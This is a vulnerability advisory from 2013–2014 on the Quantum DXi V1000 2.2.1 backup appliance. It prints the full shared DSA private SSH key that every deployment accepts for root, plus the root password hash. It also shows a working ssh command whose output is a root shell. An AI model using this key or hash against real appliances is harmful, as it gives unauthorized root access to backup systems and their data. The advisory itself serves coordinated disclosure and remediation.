Quantum DXi V1000 2.2.1 SSH Key / Root User

`-----------  
Author:  
-----------  
  
xistence < xistence[at]0x90[.]nl >  
  
-------------------------  
Affected products:  
-------------------------  
  
Quantum DXi V1000 2.2.1 and below  
  
-------------------------  
Affected vendors:  
-------------------------  
  
Quantum  
http://quantum.com/  
  
-------------------------  
Product description:  
-------------------------  
  
Quantum DXi® V-Series is a virtual deduplication backup appliance that  
protects physical and  
virtual data across remote sites, the datacenter and cloud deployments.  
  
----------  
Details:  
----------  
  
[ 0x01 - Default root user ]  
  
The root user has a hardcoded password that is unknown and not changeable.  
Normally access is only through the restricted shells.  
  
The /etc/shadow file shows the following hash:  
root:$1$FGOgdWM7$dac9P0EJgTSX8a4zc4TXJ/:15783:0:99999:7:::  
  
  
[ 0x02 - Known SSH Private Key ]  
  
  
The /root/.ssh/authorized_keys on the appliance contains the following key  
(same with every deployment):  
  
-----BEGIN DSA PRIVATE KEY-----  
MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2  
hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t  
Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2  
+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4  
6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5  
PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr  
E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK  
6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn  
k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u  
B3Upsx556K/iZPPnJZE=  
-----END DSA PRIVATE KEY-----  
  
Using the key on a remote system to login through SSH will give a root  
shell:  
  
$ ssh -i quantum.key [email protected]  
Last login: Mon Sep 23 21:27:19 2013 from 192.168.2.71  
  
Product Model = DXiV1000  
Hardware Configuration = V1000  
System Version = 2.2.1_MC  
Base OS Version = 2.2.1_MC-9499  
Application Version = 2.2.1_MC-50278  
SCM Build Version = Build14  
Kernel Version = 2.6.18-164.15.1.qtm.4  
  
[root@DXi000C29FB1EA1 ~]# id  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),103(adic)  
  
  
-----------  
Solution:  
-----------  
  
Upgrade to version 2.3.0.1 or newer  
  
--------------  
Timeline:  
--------------  
  
30-09-2013 - Issues discovered and vendor notified  
30-09-2013 - Reply from vendor asking for more details  
01-10-2013 - Supplied more details how to replicate  
19-11-2013 - Asked for status update  
19-11-2013 - Reply from vendor that an updated release is due for March 2014  
xx-xx-2014 - Quantum DXi V1000 2.3.0.1 released  
17-03-2014 - Public disclosure  
`